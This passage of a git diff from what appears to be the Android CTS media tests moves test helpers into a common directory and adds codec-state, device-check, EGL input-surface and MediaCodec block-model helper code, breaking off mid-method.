+     * Returns null once all data has been extracted and queued.
+     */
+    private Long feedInputBuffer(int inputBufferIndex)
+            throws MediaCodec.CryptoException, IllegalStateException {
+        if (mSawInputEOS || inputBufferIndex == -1) {
+            return null;
+        }
+
+        // stalls read if audio queue is larger than 2MB full so we will not occupy too much heap
+        if (mLimitQueueDepth && mAudioTrack != null &&
+                mAudioTrack.getNumBytesQueued() > 2 * 1024 * 1024) {
+            return null;
+        }
+
+        ByteBuffer codecData = mCodecInputBuffers[inputBufferIndex];
+
+        int trackIndex = mExtractor.getSampleTrackIndex();
+
+        if (trackIndex == mTrackIndex) {
+            int sampleSize =
+                mExtractor.readSampleData(codecData, 0 /* offset */);
+
+            long sampleTime = mExtractor.getSampleTime();
+
+            int sampleFlags = mExtractor.getSampleFlags();
+
+            if (sampleSize <= 0) {
+                Log.d(TAG, "sampleSize: " + sampleSize + " trackIndex:" + trackIndex +
+                        " sampleTime:" + sampleTime + " sampleFlags:" + sampleFlags);
+                mSawInputEOS = true;
+                return null;
+            }
+
+            if (mIsTunneled && !mIsAudio) {
+                if (mFirstSampleTimeUs == -1) {
+                    mFirstSampleTimeUs = sampleTime;
+                }
+                sampleTime -= mFirstSampleTimeUs;
+            }
+
+            mLastPresentTimeUs = mPlaybackStartTimeUs + sampleTime + mOffsetTimestampUs;
+
+            if ((sampleFlags & MediaExtractor.SAMPLE_FLAG_ENCRYPTED) != 0) {
+                MediaCodec.CryptoInfo info = new MediaCodec.CryptoInfo();
+                mExtractor.getSampleCryptoInfo(info);
+
+                mCodec.queueSecureInputBuffer(
+                        inputBufferIndex, 0 /* offset */, info, mLastPresentTimeUs, 0 /* flags */);
+            } else {
+                mCodec.queueInputBuffer(
+                        inputBufferIndex, 0 /* offset */, sampleSize, mLastPresentTimeUs, 0 /* flags */);
+            }
+
+            mExtractor.advance();
+            return mLastPresentTimeUs;
+        } else if (trackIndex < 0) {
+            Log.d(TAG, "saw input EOS on track " + mTrackIndex);
+
+            if (mLoopEnabled) {
+                Log.d(TAG, "looping from the beginning");
+                mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+                mPlaybackStartTimeUs = mLastPresentTimeUs;
+                return null;
+            }
+
+            mSawInputEOS = true;
+            mCodec.queueInputBuffer(
+                    inputBufferIndex, 0 /* offset */, 0 /* sampleSize */,
+                    0 /* sampleTime */, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+        }
+
+        return null;
+    }
+
+    private void onOutputFormatChanged() {
+        String mime = mOutputFormat.getString(MediaFormat.KEY_MIME);
+        // b/9250789
+        Log.d(TAG, "CodecState::onOutputFormatChanged " + mime);
+
+        mIsAudio = false;
+        if (mime.startsWith("audio/")) {
+            mIsAudio = true;
+            int sampleRate =
+                mOutputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+
+            int channelCount =
+                mOutputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+
+            Log.d(TAG, "CodecState::onOutputFormatChanged Audio" +
+                    " sampleRate:" + sampleRate + " channels:" + channelCount);
+            // We do a check here after we receive data from MediaExtractor and before
+            // we pass them down to AudioTrack. If MediaExtractor works properly, this
+            // check is not necessary, however, in our tests, we found that there
+            // are a few cases where ch=0 and samplerate=0 were returned by MediaExtractor.
+            if (channelCount < 1 || channelCount > 8 ||
+                    sampleRate < 8000 || sampleRate > 128000) {
+                return;
+            }
+            mAudioTrack = new NonBlockingAudioTrack(sampleRate, channelCount,
+                                    mIsTunneled, mAudioSessionId);
+            mAudioTrack.play();
+        }
+
+        if (mime.startsWith("video/")) {
+            int width = mOutputFormat.getInteger(MediaFormat.KEY_WIDTH);
+            int height = mOutputFormat.getInteger(MediaFormat.KEY_HEIGHT);
+            Log.d(TAG, "CodecState::onOutputFormatChanged Video" +
+                    " width:" + width + " height:" + height);
+        }
+    }
+
+    /** Returns true if more output data could be drained. */
+    private boolean drainOutputBuffer() {
+        if (mSawOutputEOS || mAvailableOutputBufferIndices.isEmpty() || mShouldSimulateUnderrun) {
+            return false;
+        }
+
+        int index = mAvailableOutputBufferIndices.peekFirst().intValue();
+        MediaCodec.BufferInfo info = mAvailableOutputBufferInfos.peekFirst();
+
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            Log.d(TAG, "saw output EOS on track " + mTrackIndex);
+
+            mSawOutputEOS = true;
+
+            // Do not stop audio track here. Video presentation may not finish
+            // yet, stopping the audio track now would result in getAudioTimeUs
+            // returning 0 and prevent video samples from being presented.
+            // We stop the audio track before the playback thread exits.
+            return false;
+        }
+
+        if (mAudioTrack != null) {
+            ByteBuffer buffer = mCodecOutputBuffers[index];
+            byte[] audioArray = new byte[info.size];
+            buffer.get(audioArray);
+            buffer.clear();
+
+            mAudioTrack.write(ByteBuffer.wrap(audioArray), info.size,
+                    info.presentationTimeUs * 1000 + mAudioOffsetNs);
+
+            mCodec.releaseOutputBuffer(index, false /* render */);
+
+            mDecodedFramePresentationTimeUs = info.presentationTimeUs;
+
+            mAvailableOutputBufferIndices.removeFirst();
+            mAvailableOutputBufferInfos.removeFirst();
+            return true;
+        } else {
+            // video
+            boolean render;
+            long realTimeUs =
+                    mMediaTimeProvider.getRealTimeUsForMediaTime(info.presentationTimeUs);
+
+            long nowUs = mMediaTimeProvider.getNowUs();
+
+            long lateUs = nowUs - realTimeUs;
+
+            if (lateUs < -45000) {
+                // too early;
+                return false;
+            } else if (lateUs > 30000) {
+                Log.d(TAG, "video late by " + lateUs + " us.");
+                render = false;
+            } else {
+                render = true;
+                mDecodedFramePresentationTimeUs = info.presentationTimeUs;
+            }
+
+            mCodec.releaseOutputBuffer(index, render);
+
+            mAvailableOutputBufferIndices.removeFirst();
+            mAvailableOutputBufferInfos.removeFirst();
+            return true;
+        }
+    }
+
+    /**
+     * Callback called by {@link MediaCodec} when it is notified that a decoded video frame has been
+     * rendered on the attached {@link Surface}.
+    */
+    private class OnFrameRenderedListener implements MediaCodec.OnFrameRenderedListener {
+        private static final long TUNNELING_EOS_PRESENTATION_TIME_US = Long.MAX_VALUE;
+
+        @Override
+        public void onFrameRendered(MediaCodec codec, long presentationTimeUs, long nanoTime) {
+            if (this != mOnFrameRenderedListener) {
+                return; // stale event
+            }
+            if (presentationTimeUs == TUNNELING_EOS_PRESENTATION_TIME_US) {
+                 mSawOutputEOS = true;
+            } else {
+                mRenderedVideoFramePresentationTimeUs = presentationTimeUs;
+            }
+            mRenderedVideoFrameSystemTimeNano = nanoTime;
+            mRenderedVideoFrameTimestampList.add(presentationTimeUs);
+            mRenderedVideoFrameSystemTimeList.add(mRenderedVideoFrameSystemTimeNano);
+        }
+    }
+
+    public long getAudioTimeUs() {
+        if (mAudioTrack == null) {
+            return 0;
+        }
+
+        return mAudioTrack.getAudioTimeUs();
+    }
+
+    /** Returns the presentation timestamp of the last rendered video frame. */
+    public long getVideoTimeUs() {
+        return mRenderedVideoFramePresentationTimeUs;
+    }
+
+    /** Callback called in tunnel mode when video peek is ready */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    private class OnFirstTunnelFrameReadyListener
+        implements MediaCodec.OnFirstTunnelFrameReadyListener {
+
+        @Override
+        public void onFirstTunnelFrameReady(MediaCodec codec) {
+            if (this != mOnFirstTunnelFrameReadyListener) {
+                return; // stale event
+            }
+            mIsFirstTunnelFrameReady = true;
+        }
+    }
+
+    /**
+     * If a video codec, returns the list of rendered frames' timestamps. Otherwise, returns an
+     * empty list.
+     */
+    public ImmutableList<Long> getRenderedVideoFrameTimestampList() {
+        return ImmutableList.<Long>copyOf(mRenderedVideoFrameTimestampList);
+    }
+
+    /**
+     * If a video codec, returns the list system times when frames were rendered. Otherwise, returns
+     * an empty list.
+     */
+    public ImmutableList<Long> getRenderedVideoFrameSystemTimeList() {
+        return ImmutableList.<Long>copyOf(mRenderedVideoFrameSystemTimeList);
+    }
+
+
+    /** Process the attached {@link AudioTrack}, if any. */
+    public void processAudioTrack() {
+        if (mAudioTrack != null) {
+            mAudioTrack.process();
+        }
+    }
+
+    public int getFramesWritten() {
+        if (mAudioTrack != null) {
+            return mAudioTrack.getFramesWritten();
+        }
+        return 0;
+    }
+
+    public AudioTimestamp getTimestamp() {
+        if (mAudioTrack == null) {
+            return null;
+        }
+
+        return mAudioTrack.getTimestamp();
+    }
+
+    /** Stop the attached {@link AudioTrack}, if any. */
+    public void stopAudioTrack() {
+        if (mAudioTrack != null) {
+            mAudioTrack.stop();
+        }
+    }
+
+    /** Start associated audio track, if any. */
+    public void playAudioTrack() {
+        if (mAudioTrack != null) {
+            mAudioTrack.play();
+        }
+    }
+
+    public void setOutputSurface(Surface surface) {
+        if (mAudioTrack != null) {
+            throw new UnsupportedOperationException("Cannot set surface on audio codec");
+        }
+        mCodec.setOutputSurface(surface);
+    }
+
+    /** Configure video peek. */
+    public void setVideoPeek(boolean enable) {
+        if (MediaUtils.check(mIsAtLeastS, "setVideoPeek requires Android S")) {
+            Bundle parameters = new Bundle();
+            parameters.putInt(MediaCodec.PARAMETER_KEY_TUNNEL_PEEK, enable ? 1 : 0);
+            mCodec.setParameters(parameters);
+        }
+    }
+
+    /** In tunnel mode, queries whether the first video frame is ready for video peek. */
+    public boolean isFirstTunnelFrameReady() {
+        return mIsFirstTunnelFrameReady;
+    }
+
+    /**
+     * Option to simulate underrun by pausing the release of the underlying codec's output buffers
+     * (in non-tunnel mode).
+     * Note: This might starve the underlying buffer queue.
+     */
+    public void simulateUnderrun(boolean enable) {
+        mShouldSimulateUnderrun = enable;
+    }
+
+    /**
+     * Option to introduce an offset (positive or negative, in ms) to content queued to the
+     * {@link AudioTrack}.
+     */
+    public void setAudioOffsetMs(int audioOffsetMs) {
+        mAudioOffsetNs = audioOffsetMs * 1000000;
+    }
+
+    public void stopWritingToAudioTrack(boolean stopWriting) {
+        if (mAudioTrack != null) {
+            mAudioTrack.stopWriting(stopWriting);
+        }
+    }
+
+    /** Returns the underlying {@code AudioTrack}, if any. */
+    public AudioTrack getAudioTrack() {
+        if (mAudioTrack != null) {
+            return mAudioTrack.getAudioTrack();
+        }
+        return null;
+    }
+
+    /**
+     * Seek media extractor to the beginning of the configured track.
+     *
+     * @param shouldContinuePts  a boolean that controls whether timestamps keep increasing
+     */
+    public void seekToBeginning(boolean shouldContinuePts) {
+        mExtractor.seekTo(UNINITIALIZED_TIMESTAMP, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
+        if (shouldContinuePts) {
+            if (mDecodedFramePresentationTimeUs != UNINITIALIZED_TIMESTAMP) {
+                mOffsetTimestampUs = mDecodedFramePresentationTimeUs;
+                return;
+            }
+            if (mRenderedVideoFramePresentationTimeUs != UNINITIALIZED_TIMESTAMP) {
+                mOffsetTimestampUs = mRenderedVideoFramePresentationTimeUs;
+                return;
+            }
+        } else {
+            mOffsetTimestampUs = 0;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/CodecUtils.java b/tests/tests/media/common/src/android/media/cts/CodecUtils.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/CodecUtils.java
rename to tests/tests/media/common/src/android/media/cts/CodecUtils.java
diff --git a/tests/tests/media/src/android/media/cts/CompositionTextureView.java b/tests/tests/media/common/src/android/media/cts/CompositionTextureView.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/CompositionTextureView.java
rename to tests/tests/media/common/src/android/media/cts/CompositionTextureView.java
diff --git a/tests/tests/media/src/android/media/cts/ConnectionStatus.java b/tests/tests/media/common/src/android/media/cts/ConnectionStatus.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/ConnectionStatus.java
rename to tests/tests/media/common/src/android/media/cts/ConnectionStatus.java
diff --git a/tests/tests/media/common/src/android/media/cts/DeviceUtils.java b/tests/tests/media/common/src/android/media/cts/DeviceUtils.java
new file mode 100644
index 0000000..eb7dc6c
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/DeviceUtils.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+
+import android.util.Log;
+
+public class DeviceUtils {
+    private static final String TAG = "DeviceUtils";
+
+    public static boolean hasOutputDevice(AudioManager audioMgr) {
+        AudioDeviceInfo[] devices = audioMgr.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        return devices.length != 0;
+    }
+
+    public static boolean hasInputDevice(AudioManager audioMgr) {
+        AudioDeviceInfo[] devices = audioMgr.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        return devices.length != 0;
+    }
+
+    public static boolean isTVDevice(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    }
+
+    /*
+     * HDMI
+     */
+    public static boolean isHDMIConnected(Context context) {
+        // configure the IntentFilter
+        IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(AudioManager.ACTION_HDMI_AUDIO_PLUG);
+        Intent intent = context.registerReceiver(null, intentFilter);
+
+        return intent != null && intent.getIntExtra(AudioManager.EXTRA_AUDIO_PLUG_STATE, 0) != 0;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/IConnectionStatus.java b/tests/tests/media/common/src/android/media/cts/IConnectionStatus.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/IConnectionStatus.java
rename to tests/tests/media/common/src/android/media/cts/IConnectionStatus.java
diff --git a/tests/tests/media/common/src/android/media/cts/InputSurface.java b/tests/tests/media/common/src/android/media/cts/InputSurface.java
new file mode 100644
index 0000000..f518448
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/InputSurface.java
@@ -0,0 +1,271 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLExt;
+import android.opengl.EGLSurface;
+import android.opengl.GLES20;
+import android.util.Log;
+import android.view.Surface;
+
+
+/**
+ * Holds state associated with a Surface used for MediaCodec encoder input.
+ * <p>
+ * The constructor takes a Surface obtained from MediaCodec.createInputSurface(), and uses that
+ * to create an EGL window surface.  Calls to eglSwapBuffers() cause a frame of data to be sent
+ * to the video encoder.
+ */
+public class InputSurface implements InputSurfaceInterface {
+    private static final String TAG = "InputSurface";
+
+    private EGLDisplay mEGLDisplay = EGL14.EGL_NO_DISPLAY;
+    private EGLContext mEGLContext = EGL14.EGL_NO_CONTEXT;
+    private EGLSurface mEGLSurface = EGL14.EGL_NO_SURFACE;
+    private EGLConfig[] mConfigs = new EGLConfig[1];
+
+    private boolean mReleaseSurface;
+    private Surface mSurface;
+    private int mWidth;
+    private int mHeight;
+
+    /**
+     * Creates an InputSurface from a Surface.
+     */
+    public InputSurface(Surface surface, boolean releaseSurface) {
+        if (surface == null) {
+            throw new NullPointerException();
+        }
+        mSurface = surface;
+        mReleaseSurface = releaseSurface;
+
+        eglSetup();
+    }
+
+    /**
+     * Creates an InputSurface from a Surface.
+     */
+    public InputSurface(Surface surface) {
+        this(surface, true);
+    }
+
+    /**
+     * Prepares EGL.  We want a GLES 2.0 context and a surface that supports recording.
+     */
+    private void eglSetup() {
+        mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
+        if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
+            throw new RuntimeException("unable to get EGL14 display");
+        }
+        int[] version = new int[2];
+        if (!EGL14.eglInitialize(mEGLDisplay, version, 0, version, 1)) {
+            mEGLDisplay = null;
+            throw new RuntimeException("unable to initialize EGL14");
+        }
+
+        // Configure EGL for recordable and OpenGL ES 2.0.  We want enough RGB bits
+        // to minimize artifacts from possible YUV conversion.
+        int[] attribList = {
+                EGL14.EGL_RED_SIZE, 8,
+                EGL14.EGL_GREEN_SIZE, 8,
+                EGL14.EGL_BLUE_SIZE, 8,
+                EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
+                EGLExt.EGL_RECORDABLE_ANDROID, 1,
+                EGL14.EGL_NONE
+        };
+        int[] numConfigs = new int[1];
+        if (!EGL14.eglChooseConfig(mEGLDisplay, attribList, 0, mConfigs, 0, mConfigs.length,
+                numConfigs, 0)) {
+            throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
+        }
+
+        // Configure context for OpenGL ES 2.0.
+        int[] attrib_list = {
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL14.EGL_NONE
+        };
+        mEGLContext = EGL14.eglCreateContext(mEGLDisplay, mConfigs[0], EGL14.EGL_NO_CONTEXT,
+                attrib_list, 0);
+        checkEglError("eglCreateContext");
+        if (mEGLContext == null) {
+            throw new RuntimeException("null context");
+        }
+
+        // Create a window surface, and attach it to the Surface we received.
+        createEGLSurface();
+
+        mWidth = getWidth();
+        mHeight = getHeight();
+    }
+
+    @Override
+    public void updateSize(int width, int height) {
+        if (width != mWidth || height != mHeight) {
+            Log.d(TAG, "re-create EGLSurface");
+            releaseEGLSurface();
+            createEGLSurface();
+            mWidth = getWidth();
+            mHeight = getHeight();
+        }
+    }
+
+    private void createEGLSurface() {
+        //EGLConfig[] configs = new EGLConfig[1];
+        int[] surfaceAttribs = {
+                EGL14.EGL_NONE
+        };
+        mEGLSurface = EGL14.eglCreateWindowSurface(mEGLDisplay, mConfigs[0], mSurface,
+                surfaceAttribs, 0);
+        checkEglError("eglCreateWindowSurface");
+        if (mEGLSurface == null) {
+            throw new RuntimeException("surface was null");
+        }
+    }
+    private void releaseEGLSurface() {
+        if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
+            EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
+            mEGLSurface = EGL14.EGL_NO_SURFACE;
+        }
+    }
+    /**
+     * Discard all resources held by this class, notably the EGL context.  Also releases the
+     * Surface that was passed to our constructor.
+     */
+    @Override
+    public void release() {
+        if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
+            EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
+            EGL14.eglDestroyContext(mEGLDisplay, mEGLContext);
+            EGL14.eglReleaseThread();
+            EGL14.eglTerminate(mEGLDisplay);
+        }
+
+        if (mReleaseSurface) {
+            mSurface.release();
+        }
+
+        mEGLDisplay = EGL14.EGL_NO_DISPLAY;
+        mEGLContext = EGL14.EGL_NO_CONTEXT;
+        mEGLSurface = EGL14.EGL_NO_SURFACE;
+
+        mSurface = null;
+    }
+
+    /**
+     * Makes our EGL context and surface current.
+     */
+    @Override
+    public void makeCurrent() {
+        if (!EGL14.eglMakeCurrent(mEGLDisplay, mEGLSurface, mEGLSurface, mEGLContext)) {
+            throw new RuntimeException("eglMakeCurrent failed");
+        }
+    }
+
+    public void makeUnCurrent() {
+        if (!EGL14.eglMakeCurrent(mEGLDisplay, EGL14.EGL_NO_SURFACE, EGL14.EGL_NO_SURFACE,
+                EGL14.EGL_NO_CONTEXT)) {
+            throw new RuntimeException("eglMakeCurrent failed");
+        }
+    }
+
+    /**
+     * Calls eglSwapBuffers.  Use this to "publish" the current frame.
+     */
+    @Override
+    public boolean swapBuffers() {
+        return EGL14.eglSwapBuffers(mEGLDisplay, mEGLSurface);
+    }
+
+    /**
+     * Returns the Surface that the MediaCodec receives buffers from.
+     */
+    public Surface getSurface() {
+        return mSurface;
+    }
+
+    /**
+     * Queries the surface's width.
+     */
+    public int getWidth() {
+        int[] value = new int[1];
+        EGL14.eglQuerySurface(mEGLDisplay, mEGLSurface, EGL14.EGL_WIDTH, value, 0);
+        return value[0];
+    }
+
+    /**
+     * Queries the surface's height.
+     */
+    public int getHeight() {
+        int[] value = new int[1];
+        EGL14.eglQuerySurface(mEGLDisplay, mEGLSurface, EGL14.EGL_HEIGHT, value, 0);
+        return value[0];
+    }
+
+    /**
+     * Sends the presentation time stamp to EGL.  Time is expressed in nanoseconds.
+     */
+    @Override
+    public void setPresentationTime(long nsecs) {
+        EGLExt.eglPresentationTimeANDROID(mEGLDisplay, mEGLSurface, nsecs);
+    }
+
+    /**
+     * Checks for EGL errors.
+     */
+    private void checkEglError(String msg) {
+        int error;
+        if ((error = EGL14.eglGetError()) != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
+        }
+    }
+
+    @Override
+    public void configure(MediaCodec codec) {
+        codec.setInputSurface(mSurface);
+    }
+
+    @Override
+    public void configure(NdkMediaCodec codec) {
+        codec.setInputSurface(mSurface);
+    }
+
+    /**
+     * Clears the surface to black.
+     * <p>
+     * Ported from https://github.com/google/grafika
+     */
+    public static void clearSurface(Surface surface) {
+        // We need to do this with OpenGL ES (*not* Canvas -- the "software render" bits
+        // are sticky).  We can't stay connected to the Surface after we're done because
+        // that'd prevent the video encoder from attaching.
+        //
+        // If the Surface is resized to be larger, the new portions will be black, so
+        // clearing to something other than black may look weird unless we do the clear
+        // post-resize.
+        InputSurface win = new InputSurface(surface, false /* release */);
+        win.makeCurrent();
+        GLES20.glClearColor(0, 0, 0, 0);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        win.swapBuffers();
+        win.release();
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/InputSurfaceInterface.java b/tests/tests/media/common/src/android/media/cts/InputSurfaceInterface.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/InputSurfaceInterface.java
rename to tests/tests/media/common/src/android/media/cts/InputSurfaceInterface.java
diff --git a/tests/tests/media/src/android/media/cts/LocalMediaProjectionService.java b/tests/tests/media/common/src/android/media/cts/LocalMediaProjectionService.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/LocalMediaProjectionService.java
rename to tests/tests/media/common/src/android/media/cts/LocalMediaProjectionService.java
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecBlockModelHelper.java b/tests/tests/media/common/src/android/media/cts/MediaCodecBlockModelHelper.java
new file mode 100644
index 0000000..8db3a81
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecBlockModelHelper.java
@@ -0,0 +1,511 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodec.CodecException;
+import android.media.MediaCodecInfo;
+import android.media.MediaCrypto;
+import android.media.MediaDrm;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.net.Uri;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.view.Surface;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import androidx.test.filters.SdkSuppress;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;;
+import java.util.UUID;;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Supplier;
+
+/**
+ * MediaCodecBlockModelHelper class
+ */
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+@NonMediaMainlineTest
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaCodecBlockModelHelper extends AndroidTestCase {
+    private static final String TAG = "MediaCodecBlockModelHelper";
+    private static final boolean VERBOSE = false;           // lots of logging
+
+                                                            // H.264 Advanced Video Coding
+
+    private static final int APP_BUFFER_SIZE = 1024 * 1024;  // 1 MB
+
+    // The test should fail if the codec never produces output frames for the truncated input.
+    // Time out processing, as we have no way to query whether the decoder will produce output.
+    private static final int TIMEOUT_MS = 60000;  // 1 minute
+
+    public enum Result {
+        SUCCESS,
+        FAIL,
+        SKIP,
+    }
+
+    public static Result runThread(Supplier<Result> supplier) throws InterruptedException {
+        final AtomicReference<Result> result = new AtomicReference<>(Result.FAIL);
+        Thread thread = new Thread(new Runnable() {
+            public void run() {
+                result.set(supplier.get());
+            }
+        });
+        final AtomicReference<Throwable> throwable = new AtomicReference<>();
+        thread.setUncaughtExceptionHandler((Thread t, Throwable e) -> {
+            throwable.set(e);
+        });
+        thread.start();
+        thread.join(TIMEOUT_MS);
+        Throwable t = throwable.get();
+        if (t != null) {
+            throw new AssertionError("There was an error while running the thread", t);
+        }
+        assertTrue("timed out decoding to end-of-stream", result.get() != Result.FAIL);
+        return result.get();
+    }
+
+    private static class LinearInputBlock {
+        MediaCodec.LinearBlock block;
+        ByteBuffer buffer;
+        int offset;
+    }
+
+    private static interface InputSlotListener {
+        public void onInputSlot(MediaCodec codec, int index, LinearInputBlock input) throws Exception;
+    }
+
+    public static class ExtractorInputSlotListener implements InputSlotListener {
+        public static class Builder {
+            public Builder setExtractor(MediaExtractor extractor) {
+                mExtractor = extractor;
+                return this;
+            }
+
+            public Builder setLastBufferTimestampUs(Long timestampUs) {
+                mLastBufferTimestampUs = timestampUs;
+                return this;
+            }
+
+            public Builder setObtainBlockForEachBuffer(boolean enabled) {
+                mObtainBlockForEachBuffer = enabled;
+                return this;
+            }
+
+            public Builder setTimestampQueue(List<Long> list) {
+                mTimestampList = list;
+                return this;
+            }
+
+            public Builder setContentEncrypted(boolean encrypted) {
+                mContentEncrypted = encrypted;
+                return this;
+            }
+
+            public ExtractorInputSlotListener build() {
+                if (mExtractor == null) {
+                    throw new IllegalStateException("Extractor must be set");
+                }
+                return new ExtractorInputSlotListener(
+                        mExtractor, mLastBufferTimestampUs,
+                        mObtainBlockForEachBuffer, mTimestampList,
+                        mContentEncrypted);
+            }
+
+            private MediaExtractor mExtractor = null;
+            private Long mLastBufferTimestampUs = null;
+            private boolean mObtainBlockForEachBuffer = false;
+            private List<Long> mTimestampList = null;
+            private boolean mContentEncrypted = false;
+        }
+
+        private ExtractorInputSlotListener(
+                MediaExtractor extractor,
+                Long lastBufferTimestampUs,
+                boolean obtainBlockForEachBuffer,
+                List<Long> timestampList,
+                boolean contentEncrypted) {
+            mExtractor = extractor;
+            mLastBufferTimestampUs = lastBufferTimestampUs;
+            mObtainBlockForEachBuffer = obtainBlockForEachBuffer;
+            mTimestampList = timestampList;
+            mContentEncrypted = contentEncrypted;
+        }
+
+        @Override
+        public void onInputSlot(MediaCodec codec, int index, LinearInputBlock input) throws Exception {
+            // Try to feed more data into the codec.
+            if (mExtractor.getSampleTrackIndex() == -1 || mSignaledEos) {
+                return;
+            }
+            long size = mExtractor.getSampleSize();
+            String[] codecNames = new String[]{ codec.getName() };
+            if (mContentEncrypted) {
+                codecNames[0] = codecNames[0] + ".secure";
+            }
+            if (mObtainBlockForEachBuffer) {
+                input.block.recycle();
+                input.block = MediaCodec.LinearBlock.obtain(Math.toIntExact(size), codecNames);
+                assertTrue("Blocks obtained through LinearBlock.obtain must be mappable",
+                        input.block.isMappable());
+                input.buffer = input.block.map();
+                input.offset = 0;
+            }
+            if (input.buffer.capacity() < size) {
+                input.block.recycle();
+                input.block = MediaCodec.LinearBlock.obtain(
+                        Math.toIntExact(size * 2), codecNames);
+                assertTrue("Blocks obtained through LinearBlock.obtain must be mappable",
+                        input.block.isMappable());
+                input.buffer = input.block.map();
+                input.offset = 0;
+            } else if (input.buffer.capacity() - input.offset < size) {
+                long capacity = input.buffer.capacity();
+                input.block.recycle();
+                input.block = MediaCodec.LinearBlock.obtain(
+                        Math.toIntExact(capacity), codecNames);
+                assertTrue("Blocks obtained through LinearBlock.obtain must be mappable",
+                        input.block.isMappable());
+                input.buffer = input.block.map();
+                input.offset = 0;
+            }
+            long timestampUs = mExtractor.getSampleTime();
+            int written = mExtractor.readSampleData(input.buffer, input.offset);
+            boolean encrypted =
+                    (mExtractor.getSampleFlags() & MediaExtractor.SAMPLE_FLAG_ENCRYPTED) != 0;
+            if (encrypted) {
+                mExtractor.getSampleCryptoInfo(mCryptoInfo);
+            }
+            mExtractor.advance();
+            mSignaledEos = mExtractor.getSampleTrackIndex() == -1
+                    || (mLastBufferTimestampUs != null && timestampUs >= mLastBufferTimestampUs);
+            MediaCodec.QueueRequest request = codec.getQueueRequest(index);
+            if (encrypted) {
+                request.setEncryptedLinearBlock(
+                        input.block, input.offset, written, mCryptoInfo);
